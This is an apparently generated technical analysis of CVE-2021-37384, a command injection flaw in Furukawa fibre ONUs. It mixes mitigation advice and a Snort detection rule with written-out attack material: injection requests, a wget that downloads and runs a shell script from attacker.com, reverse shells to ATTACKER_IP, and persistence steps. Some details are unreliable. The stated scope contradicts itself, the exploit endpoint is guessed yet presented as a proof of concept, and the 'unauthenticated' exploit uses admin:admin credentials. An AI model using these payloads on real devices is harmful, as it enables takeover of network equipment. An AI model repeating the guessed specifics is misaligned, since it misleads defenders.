CVE-2021-37384
CVE-2021-37384
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
RCE (Remote Code Execution) vulnerability was found in some Furukawa ONU models, this vulnerability allows remote unauthenticated users to send arbitrary commands to the device via web interface.
Comprehensive Technical Analysis of CVE-2021-37384
CVE ID: CVE-2021-37384 CVSS Score: 9.8 (Critical) Vulnerability Type: Remote Code Execution (RCE) via Command Injection Affected Systems: Furukawa Optical Network Units (ONUs)
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2021-37384 is a critical Remote Code Execution (RCE) vulnerability in certain Furukawa ONU models, allowing unauthenticated remote attackers to execute arbitrary commands on the device via the web interface. The flaw stems from improper input validation in the web management interface, enabling command injection (CWE-94: Improper Control of Generation of Code).
Severity Justification (CVSS 9.8)
The CVSS v3.1 Base Score of 9.8 is justified by the following metrics:
- Attack Vector (AV:N) – Exploitable remotely over the network.
- Attack Complexity (AC:L) – No special conditions required; straightforward exploitation.
- Privileges Required (PR:N) – No authentication needed.
- User Interaction (UI:N) – No user interaction required.
- Scope (S:C) – Compromise of the device may allow lateral movement or further attacks on the network.
- Confidentiality (C:H), Integrity (I:H), Availability (A:H) – Full compromise of the device, leading to data theft, network manipulation, or denial of service.
Root Cause Analysis
The vulnerability arises from:
- Lack of input sanitization in the web interface, allowing shell metacharacters (
;,|,&, etc.) to be injected into system commands. - Improper use of system calls (e.g.,
system(),exec()) without proper parameterization. - Weak or missing authentication mechanisms in the web interface, enabling unauthenticated access.
2. Potential Attack Vectors and Exploitation Methods
Attack Vectors
-
Direct Web Interface Exploitation
- Attackers send crafted HTTP requests to the ONU’s web management interface (typically on port 80/443).
- Malicious input is passed to backend scripts that execute system commands without validation.
-
Phishing & Social Engineering
- Attackers trick users into visiting a malicious link that exploits the vulnerability (e.g., via CSRF or XSS if additional flaws exist).
-
Lateral Movement in ISP Networks
- If the ONU is part of an ISP’s infrastructure, compromise could lead to further attacks on the provider’s network (e.g., DNS hijacking, MITM attacks).
Exploitation Methods
Proof-of-Concept (PoC) Exploitation
Based on available references (e.g., Softwall’s disclosure), exploitation involves:
-
Identifying the Vulnerable Endpoint
- The web interface likely has a form or API endpoint that accepts user input (e.g.,
ping,traceroute, or configuration parameters). - Example vulnerable parameter:
?cmd=ping 8.8.8.8; id
- The web interface likely has a form or API endpoint that accepts user input (e.g.,
-
Command Injection via HTTP Request
- A crafted GET/POST request with shell metacharacters executes arbitrary commands:
GET /cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:menu=setup&var:page=wizard&obj-action=auth&:username=admin&:password=admin&:action=login&:command=ping;id HTTP/1.1 Host: <ONU_IP> - The
idcommand (or any other arbitrary command) is executed with the privileges of the web server process.
- A crafted GET/POST request with shell metacharacters executes arbitrary commands:
-
Reverse Shell Establishment
- Attackers can escalate the attack by downloading and executing a reverse shell:
wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh - Alternatively, using
netcatorbashreverse shells:bash -i >& /dev/tcp/attacker.com/4444 0>&1
- Attackers can escalate the attack by downloading and executing a reverse shell:
-
Persistence & Post-Exploitation
- Once RCE is achieved, attackers may:
- Modify firmware to maintain persistence.
- Exfiltrate sensitive data (e.g., ISP credentials, user traffic).
- Pivot to other devices on the network.
- Once RCE is achieved, attackers may:
3. Affected Systems and Software Versions
Vulnerable Devices
The vulnerability affects Furukawa ONU models with the following characteristics:
- Furukawa EPON/GPON ONUs (exact models not fully disclosed in public sources).
- Firmware versions prior to the patched release (specific versions not publicly listed; users should check with Furukawa for updates).
Detection Methods
-
Network Scanning
- Use Nmap to identify Furukawa ONUs:
nmap -p 80,443 --script http-title <TARGET_IP> | grep -i "Furukawa" - Check for default credentials (
admin:admin,admin:password).
- Use Nmap to identify Furukawa ONUs:
-
Firmware Analysis
- Extract firmware (if possible) and analyze web interface code for unsafe system calls (e.g.,
system(),popen()).
- Extract firmware (if possible) and analyze web interface code for unsafe system calls (e.g.,
-
Exploitation Testing (Authorized Environments Only)
- Use Burp Suite or curl to test for command injection:
curl -v "http://<ONU_IP>/cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:menu=setup&var:page=wizard&obj-action=auth&:username=admin&:password=admin&:action=login&:command=ping;id"
- Use Burp Suite or curl to test for command injection:
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patches
- Check Furukawa’s official security advisories for firmware updates.
- If no patch is available, disable the web interface or restrict access via firewall rules.
-
Network-Level Protections
- Isolate ONU devices from the public internet using VLANs or firewall rules.
- Block inbound traffic to the ONU’s web interface (port 80/443) from untrusted networks.
- Enable rate limiting to prevent brute-force attacks.
-
Default Credential Hardening
- Change default credentials (
admin:admin) to strong, unique passwords. - Disable remote management if not required.
- Change default credentials (
-
Intrusion Detection/Prevention (IDS/IPS)
- Deploy Snort/Suricata rules to detect command injection attempts:
alert tcp any any -> $ONU_NETWORK 80 (msg:"Furukawa ONU Command Injection Attempt"; flow:to_server,established; content:";"; nocase; pcre:"/(;|\||&)\s*(id|wget|nc|bash|sh)/i"; sid:1000001; rev:1;)
- Deploy Snort/Suricata rules to detect command injection attempts:
Long-Term Mitigations
-
Firmware Hardening
- Replace vulnerable ONUs with updated models or alternative vendors if patches are unavailable.
- Implement secure coding practices (e.g., input validation, parameterized commands).
-
Zero Trust Network Access (ZTNA)
- Enforce strict access controls for ONU management interfaces.
- Use VPNs or jump hosts for remote administration.
-
Continuous Monitoring
- Deploy SIEM solutions (e.g., Splunk, ELK) to monitor ONU logs for suspicious activity.
- Enable syslog forwarding to a centralized logging server.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
ISP & Critical Infrastructure Risk
- ONUs are widely deployed in fiber-to-the-home (FTTH) networks, making them a high-value target for attackers.
- Compromise could lead to large-scale ISP outages or mass surveillance (e.g., traffic interception).
-
Supply Chain & Vendor Accountability
- Highlights the need for better vendor security practices in networking equipment.
- Raises concerns about third-party firmware vulnerabilities in embedded devices.
-
Exploitation by Threat Actors
- APT groups (e.g., state-sponsored actors) may exploit this for espionage or sabotage.
- Cybercriminals could use compromised ONUs for botnets, DDoS attacks, or ransomware delivery.
-
Regulatory & Compliance Impact
- Organizations using vulnerable ONUs may violate data protection laws (e.g., GDPR, CCPA) if customer data is exposed.
- ISPs may face regulatory fines for failing to secure critical infrastructure.
6. Technical Details for Security Professionals
Exploitation Deep Dive
Vulnerable Code Example (Hypothetical)
A typical vulnerable CGI script in the ONU’s web interface might look like:
#include <stdio.h>
#include <stdlib.h>
int main() {
char cmd[256];
char *user_input = getenv("QUERY_STRING"); // Unsanitized input from HTTP request
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", user_input); // Command injection vulnerability
system(cmd); // Executes arbitrary commands
return 0;
}
Exploitation:
- Attacker sends:
http://<ONU_IP>/cgi-bin/ping?8.8.8.8; reboot - The
rebootcommand executes, causing a denial of service.
Reverse Shell Payload Example
# Bash reverse shell (Linux-based ONUs)
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Netcat reverse shell (if netcat is available)
nc -e /bin/sh ATTACKER_IP 4444
# Python reverse shell (if Python is installed)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Post-Exploitation Analysis
-
Privilege Escalation
- Check for SUID binaries (
find / -perm -4000 2>/dev/null). - Exploit kernel vulnerabilities (e.g., Dirty Pipe, CVE-2021-4034).
- Check for SUID binaries (
-
Persistence Mechanisms
- Modify startup scripts (
/etc/rc.local). - Add cron jobs (
crontab -e). - Replace legitimate binaries with backdoored versions.
- Modify startup scripts (
-
Lateral Movement
- Scan the internal network for other vulnerable devices.
- Exfiltrate ISP credentials stored in configuration files.
Forensic Artifacts
- Logs to Check:
- Web server access logs (
/var/log/httpd/access.log). - Command history (
~/.bash_history). - Process listings (
ps aux,top).
- Web server access logs (
- Indicators of Compromise (IOCs):
- Unusual outbound connections (e.g., to attacker-controlled IPs).
- Modified system files (e.g.,
/etc/passwd,/etc/shadow). - Unexpected processes (e.g.,
nc,python,bashlistening on ports).
Conclusion
CVE-2021-37384 represents a severe, easily exploitable RCE vulnerability in Furukawa ONUs, posing significant risks to ISPs, enterprises, and home users. Given its CVSS 9.8 rating, immediate patching and network-level protections are critical. Security teams should monitor for exploitation attempts, harden vulnerable devices, and prepare incident response plans in case of compromise.
For further research, security professionals should:
- Review Furukawa’s official advisories for patches.
- Analyze PoC exploits (e.g., from Softwall’s disclosure).
- Test detection rules in IDS/IPS and SIEM systems.
Proactive mitigation is essential to prevent this vulnerability from being weaponized in large-scale attacks.